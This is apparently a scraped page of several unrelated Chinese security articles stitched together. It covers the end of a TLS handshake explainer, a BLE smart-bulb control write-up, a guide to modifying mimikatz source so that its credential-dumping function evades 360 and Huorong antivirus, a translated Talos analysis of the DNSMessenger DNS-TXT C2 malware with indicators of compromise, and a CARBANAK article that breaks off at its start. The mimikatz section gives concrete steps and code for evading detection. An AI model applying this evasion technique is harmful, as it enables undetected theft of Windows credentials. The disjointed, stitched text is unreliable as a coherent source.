* 客户端生成自己用于密钥协商的公私钥，并发送此公钥
* 这时客户端已经知道了`服务端密钥协商的公钥以及自己的公钥`
* 我们以`EC Diffie-Hellman`密钥协商协议为例，来看看客户端、服务端是怎么协商出相同的密钥的（这里协商出来的是PreMasterSecret，不是最终的对称加密用到的密钥）。
* EC Diffie-Hellman使用到一个数学难题，就是在给定的椭圆曲线上的一个点P，一个整数k，求Q=kP很容易；但是给定一个点P、Q，知道Q=kP，求整数k确实很难。
* 服务端确定了密钥协商算法为“EC Diffie-Hellman”，发送给客户端。现在两端都知道了使用的是哪个曲线参数（椭圆曲线E、阶N、基点G）。
* Server Key Change：服务端随机生成一个整数a，计算A=a*G，生成服务端公钥A，发送给客户端。
* Client Key Change：客户端随机生成一个整数b，计算B=b*G，生成服务端公钥B，发送给服务端。
* 客户端计算出PreMasterSecret：Q=b _A=b_ (a*G)
* 服务端计算出PreMasterSecret：Q'=a _B=a_ (b*G)，这两个计算结果是相等的，此时双方协商好对称密钥值。
* 并且即使攻击者截获到双方公钥A、B，仍然无法计算出PreMasterSecret，因为攻击者需要知道随机整数a、b的其中任意一个，可是之前我们就提到过EC Diffie-Hellman协议中，知道A、G求a是很难的。
* 真正对称加密使用到的密钥生成（这里使用到了client、server一开始hello中传输的随机数）：
* MasterSecret = PRF(PreMasterSecret, "master secret", Client.random || Server.random)[0..47] -- 固定取前 48 字节
* KeyBlock = PRF(MasterSecret, "key expansion", Server.random || Client.random) -- 长度为由双方确定的密码算法套件决定
* KeyBlock才是最终用来做对称加密的密钥块 [6.3. Key Calculation](https://tools.ietf.org/html/rfc5246#section-6.3)
### 7\. Client Change Cipher Spec
* 这个过程就是告诉服务端，他已经准备好MasterSecret了，可以进行数据加密传输了。
* 这个协议是冗余的，在TLS 1.3里面直接被删除了。
### 8\. Client Finished
* 这条消息是用来确定双方的MasterSecret是否正确生成，发送的是verify_data消息。
struct {
opaque verify_data[verify_data_length];
} Finished;
verify_data
PRF(master_secret, finished_label,Hash(handshake_messages))
[0..verify_data_length-1];
* verify_data = PRF(master_secret, finished_label, Hash(handshake_messages))
* PRF是伪随机函数（pseudorandom function，PRF）
* master_secret是密钥协商时，计算出来的
* finished_label：对客户端发的Finished消息来说，固定是字符串 "client finished". 对服务器发的Finished消息来说，固定是字符串 "server finished".
* handshake_messages，是各端握手过程中发送的所有消息的，类型如下：
struct {
HandshakeType msg_type; /* handshake type */
uint24 length; /* bytes in message */
select (HandshakeType) {
case hello_request: HelloRequest; //HelloRequest是服务端在任何时候都可以发出的，告诉客户端需要重新进行握手协议，客户端随即发送新的ClientHello
case client_hello: ClientHello;
case server_hello: ServerHello;
case certificate: Certificate;//服务端或客户端发送自己证书给客户端。
case server_key_exchange: ServerKeyExchange;
case certificate_request: CertificateRequest;//服务端请求，客户端发送自己的客户端证书，给服务端做校验。这个步骤在博文中没有提到，看以后有需要再了解。
case server_hello_done: ServerHelloDone;
case certificate_verify: CertificateVerify;//客户端发出，从client hello开始，一直到CertificateVerify之前的所有消息的hash加上客户端证书对应私钥的加密结果。
case client_key_exchange: ClientKeyExchange;
case finished: Finished;
} body;
} Handshake;
* 但不包括ChangeCipherSpec、alerts之类的消息。并且最后一个发送Finished的一方，需要把前一个发送Finished的内容包括进去。
* 注意这里每个端发送自己的握手消息就可以，比如Client发送内容包括ClientHello、Certificate（有发送的话）、CertificateVerify（如果有发送的话）、ClientKeyExchange、Finished（如果是最后一方需要包含）。服务端同理。
* 因为verify_data是加密的，我就没有在截图了，上述的字段以及说明可以查看协议文档 [7.4.9. Finished](https://tools.ietf.org/html/rfc5246#section-7.4.9)
### 8.1. Server New Session Ticket
* 如果服务端想使用Ticket方式存储session状态，在Server Change Cipher Spec之前就需要发送New Session Ticket消息。
* New Session Ticket方式与Session ID方式对比：
* SessionID方式，客户端在ClientHello的时候带着上一次SessionID过来，服务端从自己内存中查找SessionID对应的session状态，并读取session状态快速恢复。
* SessionTicket方式，则是将session状态加密后，发送给客户端存储。客户端在ClientHello时将SessionTicket带上，服务端就将其解密，读取出里面存储的session状态信息，SessionTicket存储的信息如下：
struct {
ProtocolVersion protocol_version; //协议版本
CipherSuite cipher_suite; //加密套件类型
CompressionMethod compression_method; //压缩方法
opaque master_secret[48]; //对称密钥
ClientIdentity client_identity; //客户端ID
uint32 timestamp;//ticket有效期
} StatePlaintext;
### 9\. Server Change Cipher Spec
* 告诉客户端，我已经准备好进行加密传输了。
### 10\. Server Finished
* 与8. Client Finished的情况一样，使用对称密钥加密，最后做一次验证，确定双方是否都准备好进行数据传输了。只是这里加密的数据还不是真正的网站内容数据，而是握手过程的数据。
### 11\. Application Data
* 真正的网站数据传输，但是这里的数据就是经过握手时协商好的对称密钥进行加密的了。
* 现在我们有KeyBlock（对称密钥块），也知道对称加密算法是AES-128-GCM [5.1. AEAD_AES_128_GCM](https://tools.ietf.org/html/rfc5116#page-14)
# 参考文献
* [The Transport Layer Security (TLS) Protocol Version 1.2](https://tools.ietf.org/html/rfc5246)
* [OpenSSL 与 SSL 数字证书概念贴](http://seanlook.com/2015/01/15/openssl-certificate-encryption/)
* [详解https是如何确保安全的？](http://www.wxtlife.com/2016/03/27/%E8%AF%A6%E8%A7%A3https%E6%98%AF%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F/)
* [数字证书的基础知识](http://www.enkichen.com/2016/02/26/digital-certificate-based/)
* [TLS 握手优化详解](https://imququ.com/post/optimize-tls-handshake.html)
* [Transport Layer Security (TLS) Parameters](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml)
* [crypto101](https://www.crypto101.io/)
* [TLS协议分析 (五) handshake协议 证书与密钥交换](http://qkxue.net/info/195840/TLS-handshake)
* [HTTPS权威指南：在服务器和Web应用上部署SSL/TLS和PKI](http://www.ituring.com.cn/book/tupubarticle/11135)
* [读图解HTTP](http://pennyren.me/2016/read-graphical-http/) | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLabs
原文链接：<https://mp.weixin.qq.com/s/H6obtU1rawcyzlxTzJCxRA>**
## 1.简介
作为该专题的第二篇文章，将以一款智能灯泡为例，对BLE设备的分析方法进行简单介绍，同时对上一篇文章中的BLE基础知识做一个回顾。
本篇选用LifeSmart智能灯泡为研究目标。LifeSmart公司有一款app可以对旗下的各种智能设备进行控制，本篇选用的BLE智能灯泡同样可以用该app调节灯泡的亮度和颜色等。备注：LifeSmart公司的各种产品可以在淘宝直接买到，其app也有公开的下载链接。
App的控制界面如图1.1所示
图1.1 app控制界面
按照LifeSmart的使用逻辑，每个BLE灯泡都必须完成绑定之后，才能正常使用。我们本次的分析目的是，不经过绑定过程，而直接控制灯泡，如改变颜色或者亮度等。
## 2.分析过程
### **2.1 获取BLE通信内容的方法**
要分析app如何对灯泡进行控制，最直观的方法就是观察一下手机app通过BLE给智能灯泡发送了什么数据。我们有三种常用方法用于获取这些BLE通信内容：
1）HCI Log。由Android系统提供，蓝牙的所有日志都包含内在，内容十分全面，但是需要完成一次蓝牙通信之后从手机中导出阅读。
2）app分析。通过逆向分析app，查看app打印的日志，或者Hook关键函数，也能够获取蓝牙通信的内容。
3）BLE嗅探。通过BLE嗅探工具，直接嗅探周围BLE通信的数据，但如果BLE通信有加密则无法嗅探有价值的内容。
在本篇的案例中，我们直接采用第二种方法，即app分析。因为该app并没有屏蔽日志输出，所以程序运行时会直接将日志打印出来，我们只要分析并阅读日志就可以完成绝大部分工作。
### **2.2 app日志分析**
本篇的分析目标比较简单，其app日志直接打印出了每次BLE通信的内容，因此我们只要查看其日志，就可以分析手机与灯泡之间的通信内容。
App日志可以通过DDMS、ADB或其他工具查看，如AndroidKiller等，我们直接选择一种比较简单的方式，即通过AndroidKiller查看。AndroidKiller是一款免费的用于Android
APK逆向分析的可视化工具，虽然已经很久不更新了，但依旧很好用。
调整灯泡亮度时，Android Killer打印出来的日志如图2.1所示
图2.1 调整亮度时的app日志
多次通过app调整灯泡亮度后，将相关的日志逐条挑出，然后并列放在一起做对比分析，如图2.2所示。
图2.2 app日志对比
图2.2中，可以看到App打印出了以下信息：
灯泡地址：类似于网卡的MAC地址，每个灯泡都有一个独一无二的地址；
Service UUID和Characteristic
UUID：正如本专题第一章所述，BLE通信实际上是对Service和Characteristic的读写，而Service和Characteristic用其相应的
UUID标识；
消息内容：二进制形式的BLE通信内容，多次调整亮度之后，通过对比每次通信内容，可以发现有一个字节数值的大小与亮度百分比成正比。
## 3.结果实现
有了第二章的分析结果，本章将尝试在任意未绑定BLE灯泡的手机上，通过发送BLE消息的以控制灯泡亮度。
### **3.1 nRF Connect介绍**
nRF Connect是一款由Nordic
Semiconductor公司开发的用于调试BLE设备的免费app，分为iOS和Android两个版本。这里使用Android版本的nRF
Connect进行后续工作。nRF Connect有三个常用功能：
A、扫描周围设备，并显示设备信息。如图3.1所示，
图3.1 nRF Connect Scan界面
在Scanner界面下，点击右上角的SCAN按钮开始扫描。在本专题第一篇文章中，我们介绍了Master和Slave的各种状态，nRF
Connect扫描时，Android手机作为Master，会接收周围各个Slave发出的广播包，这些广播包里包含了Slave的信息。点击扫描到的设备会展示nRF
Connect从该设备的广播包里解析出来的信息，在详细信息页面中点击RAW按钮，会显示该设备广播包的原始二进制数据。
B、与BLE设备进行通信
在Scanner界面下，点击CONNECT按钮即可向设备发起连接，连接建立之后就可以进行通信了，如图3.2所示。
图3.2 与BLE设备进行通信
读取Characteristic即为手机接收BLE设备的消息，写入Characteristic则代表向BLE设备发送消息。
C、作为Advertiser发送广播包
此外，nRF Connect还可以作为Slave，进入Advertiser状态，向周围不断地发送广播，如图3.3所示。
图3.3 模拟Advertiser状态
在Advertiser状态下会持续发送广播包，广播包中包含了对于本设备的简单描述信息，nRF Connect可以模拟其中5个基本信息，如TX
power、Manufacturer Data等。
### **3.2 控制灯泡亮度**
结合日志的分析结果，可以使用nRF Connect完成灯泡亮度的控制，具体的操作步骤如下：
1）在nRF Connect中，通过设备的MAC地址，找到需要操作的灯泡，如图3.4所示；
图3.4 在Scanner状态下找到灯泡
2）与灯泡建立BLE连接，并找到需要写入的Service和Characteristic的UUID，如图3.5所示；
图3.5 与灯泡建立BLE连接
3）以hex形式，向Characteristic写入控制灯泡亮度的通信数据，如图3.6所示。
图3.6 向Characteristic写入数据
我们直接将灯泡亮度设置为0%，如图3.7所示，点击SEND之后，可以看到灯泡的亮度随之出现了变化
图3.7 调整灯泡亮度为0
## **4\. 总结**
我们在这篇文章中，从app日志入手，分析了智能灯泡的BLE通信内容，随后使用nRF
Connect直接与灯泡进行BLE通信，从而实现控制灯泡亮度的目的。上述分析表明，LifeSmart与BLE智能灯泡之间并没有严格的绑定关系，所谓的“绑定”步骤，仅仅是app本地登记一下需要控制的智能灯泡，方便了下次操作，但BLE智能灯泡本身并不知道自己被绑定给了谁。
本篇作为《胖猴小玩闹》专题的入门文章，分析就到此结束了。本系列后续文章中，我们会遇到更复杂的情况，如加壳、加密等等，届时会介绍更多的工具和方法，欢迎各位读者和我们一起探索。
* * * | 社区文章 |
# mimikatz源码免杀初探
在先知看到一篇文章 [失败mimikatz源码免杀和成功的免杀Windows
Defender](https://xz.aliyun.com/t/10821)，文章发表于22.01.24，但是在二月份根据文中方法学习时发现文中介绍的去特征已经失效，于是结合其他方法做到免杀，最终免杀效果在不开启自动上传情况下过360和火绒。
文章方法为特征字符串替换，如果了解可跳转到 04 再搞一搞 环节
## 00 环境
杀软环境：win10 火绒 360安全卫士 360杀毒
## 01 visual studio设置
下载 [mimikatz源码](https://github.com/gentilkiwi/mimikatz)后打开
1. 右键mimikatz项目属性，设置平台工具集
1. 在 c/c++ 运行库 代码生成 选择多线程（/MT）
1. 在 c/c++ 常规 将警告视为成为 选择否
1. 解决方案 属性 配置生成x64 mimikatz
1. 重新生成解决方案
生成mimikatz报错
装一下这几个
能运行就行，放到杀软环境里秒没
## 02 文中方法
这部分就是文中的去特征方法，为了保证最终能正常生成exe，最好每一步生成一下
### mimilove.rc版本信息
解决方案 重新生成
### mimikatz
`mimikatz` 区分大小写 查找范围为整个解决方案
文件名修改，否则报错找不到文件
### 作者信息
`gentilkiwi.com` ==> `google.com`
`creativecommons.org` ==>`google.com`
`benjamin` 不区分大小写 ==> `hahaha`
`gentilkiwi` 不区分大小写 ==>`hahaha`
### mimilove
`mimilove` ==> `mamalove`
### 替换ico
32*32
## 03 免杀效果
功能正常
### 静态
360
火绒秒杀
### 动态
360 ok
大概一分钟 360云端查杀
文章中作者提到
> `360`一般在本地不会主动查杀，其查杀靠的是其联网上传样本之后，因为云端查杀需要时间，所以在这之间有一段时间，可以运行木马执行命令
## 04 再搞一搞
以上是根据文章去特征编译后的效果，只能过360，且上传样本很快会被杀，很难受，再想办法过火绒
### 加壳（xxx）
upx壳是我学习逆向的第一个壳，简单方便还是压缩壳，冲！！！
这个加壳是在上传样本前做的，本来不杀，加了upx反而杀了。。。
### 删除banner
### resource hacker
因为之前已经修改过ico和版本信息，这一步用resource hacker把界面风格删了
### virtest5.0 去特征码
字节改成 00 后测试`sekurlsa::logonpasswords`失效
后经过排查，特征码有一处是
尝试大小写，杀 00->01\02 失效
搜索`lsass.exe`
修改代码
wchar_t a[10] = L"lsa";
wchar_t b[10] = L"ss.exe";
wcscat(a, b);
if(kull_m_process_getProcessIdForName(a, &processId))
## 05 最终免杀效果
> 未开启自动上传
### 静态
### 动态
> 未开启自动上传
360 火绒都可以
> 开启自动上传后360杀
## 06 ？？？
不清楚 360 和 火绒 查杀的侧重点和区别 | 社区文章 |
# 【木马分析】针对利用DNS的TXT记录查询进行通信绕过杀软检测的木马分析
|
##### 译文声明
本文是翻译文章，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/03/dnsmessenger.html?m=1>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[啦咔呢](http://bobao.360.cn/member/contribute?uid=79699134)
预估稿费：180RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**摘要**
域名系统（DNS）是企业网络上最常用的Internet应用协议之一。它负责提供名称解析，以便可以通过名称访问网络资源，而不是要求用户记住IP地址。虽然许多组织进行严格的出口过滤，但是因为其涉及web流量，防火墙规则等，许多组织没有严格的控制能防止基于DNS的威胁。攻击者已经认识到这一点，并且通常在DNS内封装不同的网络协议以逃避安全设备的检测。
通常，DNS的使用与信息泄漏相关。Talos最近分析了一个有趣的恶意软件样本，该样本利用DNS的TXT记录查询和响应创建了一个双向命令和控制（C2）通道。这允许攻击者使用DNS通信提交要在受感染的计算机上运行的新命令，并将命令执行的结果返回给攻击者。这是一种非常罕见和逃避的管理RAT的方式。使用Powershell的多个阶段，其中各个阶段是完全无文件的，表示攻击者采取了有效措施来规避检测。
讽刺的是，在我们发布了思科保护伞（一款特别设计的安防产品，专门用来保护组织免受DNS和基于Web的威胁）后不久，被称为Sourcefire的恶意软件作者放出了自身的恶意代码。
**细节**
最初引起我们对这个特定恶意软件样本感兴趣的是安全研究员在Twitter上发布的一个推文（感谢simpo！）是关于他正在分析的Powershell脚本，该脚本包含经过base64编码的字符串“SourceFireSux”。有趣的是，Sourcefire是Powershell脚本中唯一直接引用的安全供应商。我们搜索了在推文中引用的base64编码值“UwBvAHUAcgBjAGUARgBpAHIAZQBTAHUAeAA
=”，就能找到已上传到公共恶意软件分析沙箱（混合分析）的样本。此外，当我们搜索解码的字符串值时，我们发现了一个指向Pastebin
页面的搜索引擎结果。在Pastebin列出的哈希值引导我们找到一个恶意的Word文档，也被上传到一个公共沙箱。Word文档启动了和我们先前发现的混合分析报告中的文件相同的多阶段感染过程，并允许我们重建更完整的感染过程。分析我们的监控数据，最终能够找出其他的样本，列在本帖的“危害指示”部分。
作为安全供应商，我们知道自己正在做一些正确的事情，因为恶意软件作者开始在恶意软件中专门引用到我们。当然，我们便决定仔细看看这个特别的样本。
在这种特殊情况下，我们开始分析错以VBScript文件名提交到公共沙箱的Powershell文件，我们先将其称为“阶段3”。原来，之前引用的字符串是用作互斥体，您可以在下面的图1中的去混淆Powershell中看到。
图1：Mutex创建
**阶段1：恶意Word文档**
如前所述，我们确定了此感染链的来源，这是通过钓鱼电子邮件传递给受害者的恶意微软Word文档。有趣的是，Word文档被看起来好像与一个由McAfee保护的安全电子邮件服务相关联。这可能是增加受害者打开文件和启用宏的可能性的有效方法，因为McAfee是一个著名的安全供应商，可能立即被受害者所信任。该文档通知用户它是安全的，并引导用户启用该内容。
图2：恶意Word文档
该文档使用Document_Open()函数调用另一个VBA函数。被调用函数设置了一个定义Powershell命令的长字符串，包含了要执行的代码。然后使用Windows管理界面（WMI）Win32_Process对象的Create方法执行该命令。
通过命令行传递到Powershell的代码大多数使用Base64编码和gzip压缩，其中尾部的一小部分未编码，是为了用于解包代码并将其传递给Invoke-Expression Powershell cmdlet（
IEX）执行。这允许代码执行起来，而不需要将其写入受感染系统的文件系统。总的来说，这是我们看到在野外传播的非常典型的恶意Word文档。我们注意到，虽然有一个VBA流引用了从Pastebin的下载功能，但是我们分析的样本似乎没有使用这个功能。
我们还观察到这个特定样本的杀软检出率相当低（6/54），并且ClamAV能够成功检测这个特殊样本。
图3：VirusTotal结果
**阶段2 Powershell**
执行通过阶段1
Word文档传递给IEX的Powershell是我们开始观察在受感染系统上发生的几个有趣活动的地方。在阶段1中描述的Powershell脚本结尾处的函数，定义了阶段2的操作以及与阶段3相关的特性。阶段2中的代码已经被混淆处理，并且我们将引用此阶段使用的主函数‘pre_logic’而阶段3使用的主函数被引用为“logic”。
在这个阶段中存在的'pre_logic'函数支持两个开关参数。一个用于确定在目标系统上的感染过程是否能持久到下一阶段。如果可以持久，则另一个参数定义阶段3代码是否应该立即执行。
图4：反混淆后的“pre-logic”函数
除了这两个开关，'pre_logic'函数还支持四个参数，它们随后在感染过程的下一阶段传递到“Logic”函数。这些参数用于确定在感染进程的下一阶段发送DNS
TXT记录查询时要使用的子域。
然后，该函数从Powershell脚本里的base64编码blob解包将在下一个阶段（阶段3）用到的Powershell脚本。它还定义了稍后将要使用的一些代码，包括在执行感染的下一阶段时使用的函数调用和参数。
如果在调用'pre_logic'函数时选择了实现持久性的选项，函数将查询受感染的系统，以确定如何最好地实现持久性。根据恶意软件在其中操作用户帐户的访问权限，然后将查询恶意软件通常使用的注册表路径以实现持久性。
如果在具有管理员访问权限的帐户下操作，脚本将查询并设置：
$ reg_win_path：“HKLM：Software Microsoft Windows CurrentVersion”
$ reg_run_path：“HKLM：Software Microsoft Windows CurrentVersion Run ”
如果在正常用户帐户下操作，脚本将查询并设置：
$ reg_win_path：“HKCU：Software Microsoft Windows”
$ reg_run_path：“HKCU：Software Microsoft Windows CurrentVersion Run ”
图5：注册表活动
然后，脚本将确定受感染系统上使用的Powershell版本。如果受感染的系统使用Powershell
3.0或更高版本，则已解码的阶段3的有效内容将写入位于“％PROGRAMDATA％ Windows
”且名为“kernel32.dll”的备用数据流（ADS）。
如果系统运行较早版本的Powershell，则阶段3有效载荷被编码并写入注册表位置，该位置由早期的键名为“kernel32”的$
reg_win_path分配。用于解包和执行阶段3有效载荷的代码随后也被写入到键名称为“Part”的$ reg_win_path的注册表位置。
图6：powershell版本检查与持续性
一旦上述工作完成，脚本将再次检查以确定运行恶意软件的用户访问权限级别。如果恶意软件已使用管理员权限执行，则“_eventFilter”，“CommandLineEventConsumer”和“_filtertoconsumerbinding”的WMI事件服务将从受感染的系统中删除。然后，恶意软件会建立自己的永久WMI事件服务，过滤“Win32_LogonSession”事件，并绑定到“CommandLineEventConsumer”。这是每当在受感染的系统上创建一个新的登录会话时用于读取和执行先前存储在ADS中的第3阶段有效载荷。从持久性角度看本质上这是基于注册表运行键的WMI等效项。第3阶段恶意软件默认设置为在30分钟后运行“onidle”。如果与阶段3的执行相关联的开关在该阶段开始时被传递到“pre_logic”函数，则阶段3的有效载荷将立即被执行。
图7：持久机制
如上所述，恶意软件还在名为“kernel32”的受感染系统上创建计划任务，该计划任务与存储在ADS或注册表中的阶段3有效载荷相关联，具体取决于受感染系统上运行的powershell的版本。在分析与此活动相关的其他样本时，我们观察到计划任务可能会随样本而变化。
**阶段3 Powershell**
被感染过程阶段2执行的阶段3 powershell脚本主要通过使用不容易识别的函数和变量名（例如用$ {script：/ == / / / == __ /
==}替换$
domains）被混淆。Base64字符串编码也存在于整个脚本中。一旦我们解开混淆，我们发现脚本包含大量的硬编码域名，其中有一个随机选择并用于后续的DNS查询。要注意的是，虽然阶段3和阶段4的Powershell脚本包含两个域名数组，但只有在样本使用第二个数组失败时才会使用第一个数组。
图8：阶段3域名列表
Powershell脚本中的“logic”函数从脚本中的第二个数组随机选择一个C2域名，并使用该域名执行初始查找。如果初始DNS
TXT记录请求的结果为空，或者在查找失败的情况下，则调用'do_lookup'函数，并从脚本中的第一个数组中随机选择一个域。有趣的是，'do_lookup'函数使用的域名似乎没有活跃的“www”或“mail”TXT记录。
该脚本还使用与域名结合的特定子域并被恶意软件用于执行DNS
TXT记录查询的初始化。恶意软件在对这些查询的响应中使用TXT记录的内容来确定接下来采取什么操作。例如，第一个子域是“www”，带有“www”的TXT记录查询响应时将指导脚本如何继续进行。其他可以采取的动作是“idle”和“stop”。
图9：阶段3命令处理
一旦恶意软件接收到初始DNS响应，它就会迭代到下一个子域，即“邮件”。恶意软件在另一个DNS
TXT记录查询中使用此域名，以尝试检索与此感染进程关联的第4阶段有效载荷。对该DNS请求的响应导致第四阶段恶意软件的传输，其存储在如图10和11所示的TXT记录内。由于阶段4有效载荷的大小比较大，DNS为该事件使用TCP。
图10：包含阶段4有效负载的响应
另一个显示DNS协议和数据包有效载荷的Wireshark视图如下。
图11：阶段4有效负载的另一个视图
然后清除与该第四阶段相关联的代码并将其传递到Invoke-Expression Powershell
cmdlet（IEX）中并在第三阶段过程的上下文中执行。第四阶段的有效载荷不是独立的，简单地尝试执行第四阶段有效载荷本身将会失败，因为它依赖于第三阶段Powershell脚本内存在的解码功能。
图12：阶段3解码功能
此函数负责几个不同的操作。它需要在DNS查询响应中接收代码，并定义包含代码的字符串变量。然后它从第三阶段调用解码函数，并将解码的字符串传递给IEX，以进一步扩展Powershell环境。一旦此部分完成，它将调用新扩展环境中的函数并带上特定参数一起执行第四阶段代码。这些参数包括要使用的第四阶段C2域名以及要执行的程序，在这种情况下该该程序就是Windows命令行处理器（cmd.exe）。这很有趣，因为它导致第四阶段有效载荷实际上不会被写入受感染系统的文件系统。
**阶段4 Powershell**
如上所述，阶段4
的Powershell有效载荷由阶段3里存在的“dec”函数解码。阶段4有效载荷的尾部是一个对“cotte”函数的调用，存在于阶段4的解码代码中，其提供附加参数包括要使用的C2域名以及执行程序（cmd.exe）。当函数执行cmd.exe时，它重定向STDIN，STDOUT和STDERR以允许有效载荷从命令行处理器读取和写入。
提供给函数调用的域名之后用于生成主C2操作的DNS查询。就像在阶段 3的 Powershell脚本中一样，阶段
4的有效载荷也包含两个硬编码域名数组，但是这个阶段只是使用了第二个数组。
图13：阶段4域名列表
来自主C2服务器的每个301 DNS响应，样本使用Get-Random cmdlet向从上述数组获取的域名发送单独的DNS
TXT解析请求。辅助C2请求则是确定恶意软件是否应继续在受感染的系统上运行。类似于我们在阶段3
Powershell脚本中看到的，此请求发送到辅助C2域名的“web”子域。
图14：阶段4辅助C2域名生成
如果辅助C2服务器返回包含字符串“stop”的TXT记录，恶意软件将停止操作。
图15：第4阶段stop命令
主C2信道本身通过从被感染系统到主C2服务器的“SYN”消息传输而建立。
图16：阶段4样本的'SYN'消息响应
一旦此步完成，从Windows命令行处理器捕获的STDOUT和STDERR就会在阶段4中使用“MSG”消息被传输。这允许攻击者发送要由命令处理器直接执行的命令，并且接收这些命令的输出，所有命令都使用DNS
TXT请求和响应。此通信在以下部分中更详细地描述。以下是从受感染的系统发送到C2服务器查询请求的DNS分析和内容。
图17：示例'MSG'消息
查询域名的结构被混淆处理过。如果我们采用DNS请求查询并通过解码函数运行它，就可以清楚地看到，它是发送到C2服务器的Windows命令行处理器的输出。
图18：解码的TXT请求
这清楚地显示出了可以用于执行系统命令及接收命令输出的交互式C2信道的建立。
**命令和控制（C2）通信**
与恶意Word文档的感染链相关的C2域名最初在2017-02-08注册。与我们从混合分析的Powershell样本相关的域名最初在2017-02-18注册。几个域名由注册人帐户使用以下电子邮件地址注册：
valeriy[.]pagosyan[@]yandex[.]com
剩余的域名使用NameCheap代理注册服务注册。
根据思科保护伞中的可用数据，与PowerShell使用的域名相关的大多数DNS活动似乎发生在2017-02-22和2017-02-25之间。与其他识别样本相关的活动则比较少，大多数发生在2017-02-11。
图19：DNS流量图示例
与此恶意软件相关联的所有C2通信使用DNS
TXT查询和响应来执行。交互式“MSG”查询需要通过使用先决条件“SYN”查询来成功建立C2通信信道。消息由以下元素组成：
$ session_id – 受感染计算机最初生成的四位数字。它永远不会更改，并包含在所有后续的DNS查询和响应中。
$ sequence_num – 受感染计算机最初生成的四位数字。它在C2通信期间定期更改，并且新值必须包括在下一个查询中。
$ acknowledgement_num – 由响应“SYN”消息设置的四位数字。此值似乎不会更改，必须包含在所有后续的“MSG”查询中。
DNS查询和响应的第5和第6字节确定消息类型，并且可以是以下任何值：
00 - 'SYN'消息
01 - 'MSG'消息
02 - 'FIN'消息
'MSG'查询用于发送命令执行和返回执行命令的输出的十六进制编码，并在每30个字节后面使用一个点分隔符。
下图说明了C2通信的总体流程。请注意，在C2期间，可能有几个“MSG”查询和响应，具体取决于攻击者尝试在受感染主机上执行的操作。
图20：C2传输流
下面是如何形成不同消息和相关联响应的展示图。
图21：C2消息结构
**结论**
这个恶意软件样本是一个很好的样本，攻击者试图在他们目标环境中操作时避免被检测到。它还说明了除了检查和过滤网络协议（例如HTTP / HTTPS，SMTP /
POP3等）之外，企业网络内的DNS流量也应该被视为攻击者可以用来实现完整功能的双向C2基础。思科保护伞是可专门用于此目的的产品。除了阻止此特定攻击外，DNS监控和过滤功能还可以破坏整个恶意软件感染的大部分动作，因为超过90％的恶意软件在感染或感染后过程的某个阶段使用了DNS网络协议。
**覆盖面**
我们的客户可以检测和阻止此威胁的其他方法如下。
高级恶意软件防护（AMP）非常适合防止这些威胁角色使用的恶意软件执行。
CWS或WSA
Web扫描可防止访问恶意网站，并检测这些攻击中使用的恶意软件。电子邮件安全可以阻止威胁参与者发送的恶意电子邮件作为其活动的一部分。IPS和NGFW
的网络安全保护具有最新的特征，以检测威胁者的恶意网络活动。AMP Threat
Grid可帮助识别恶意二进制文件并在所有思科安全产品中构建保护。思科保护伞阻止与恶意活动相关联的域名DNS解析。
**危害指标（IOC）**
以下是可用于识别本帖中描述攻击的危害指标。
哈希：
f9e54609f1f4136da71dbab8f57c2e68e84bcdc32a58cc12ad5f86334ac0eacf（SHA256）
f82baa39ba44d9b356eb5d904917ad36446083f29dced8c5b34454955da89174（SHA256）
340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981（SHA256）
7f0a314f15a6f20ca6dced545fbc9ef8c1634f9ff8eb736deab73e46ae131458（SHA256）
be5f4bfa35fc1b350d38d8ddc8e88d2dd357b84f254318b1f3b07160c3900750（SHA256）
9b955d9d7f62d405da9cf05425c9b6dd3738ce09160c8a75d396a6de229d9dd7（SHA256）
fd6e7fc11a325c498d73cf683ecbe90ddbf0e1ae1d540b811012bd6980eed882（SHA256）
6bf9d311ed16e059f9538b4c24c836cf421cf5c0c1f756fdfdeb9e1792ada8ba（SHA256）
C2域名：
algew[.]me
aloqd[.]pw
bpee[.]pw
bvyv[.]club
bwuk[.]club
cgqy[.]us
cihr[.]site
ckwl[.]pw
cnmah[.]pw
coec[.]club
cuuo[.]us
daskd[.]me
dbxa[.]pw
dlex[.]pw
doof[.]pw
dtxf[.]pw
dvso[.]pw
dyiud[.]com
eady[.]club
enuv[.]club
eter[.]pw
fbjz[.]pw
fhyi[.]club
futh[.]pw
gjcu[.]pw
gjuc[.]pw
gnoa[.]pw
grij[.]us
gxhp[.]top
hvzr[.]info
idjb[.]us
ihrs[.]pw
jimw[.]club
jomp[.]site
jxhv[.]site
kjke[.]pw
kshv[.]site
kwoe[.]us
ldzp[.]pw
lhlv[.]club
lnoy[.]site
lvrm[.]pw
lvxf[.]pw
mewt[.]us
mfka[.]pw
mjet[.]pw
mjut[.]pw
mvze[.]pw
mxfg[.]pw
nroq[.]pw
nwrr[.]pw
nxpu[.]site
oaax[.]site
odwf[.]pw
odyr[.]us
okiq[.]pw
oknz[.]club
ooep[.]pw
ooyh[.]us
otzd[.]pw
oxrp[.]info
oyaw[.]club
pafk[.]us
palj[.]us
pbbk[.]us
ppdx[.]pw
pvze[.]club
qefg[.]info
qlpa[.]club
qznm[.]pw
reld[.]info
rnkj[.]pw
rzzc[.]pw
sgvt[.]pw
soru[.]pw
swio[.]pw
tijm[.]pw
tsrs[.]pw
turp[.]pw
ueox[.]club
ufyb[.]club
utca[.]site
vdfe[.]site
vjro[.]club
vkpo[.]us
vpua[.]pw
vqba[.]info
vwcq[.]us
vxqt[.]us
vxwy[.]pw
wfsv[.]us
wqiy[.]info
wvzu[.]pw
xhqd[.]pw
yamd[.]pw
yedq[.]pw
yqox[.]pw
ysxy[.]pw
zcnt[.]pw
zdqp[.]pw
zjav[.]us
zjvz[.]pw
zmyo[.]club
zody[.]pw
zugh[.]us
cspg[.]pw | 社区文章 |
# 【技术分享】CARBANAK后门背后那些事
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html>
译文仅供参考，具体内容表达以及含义原文为准。
>
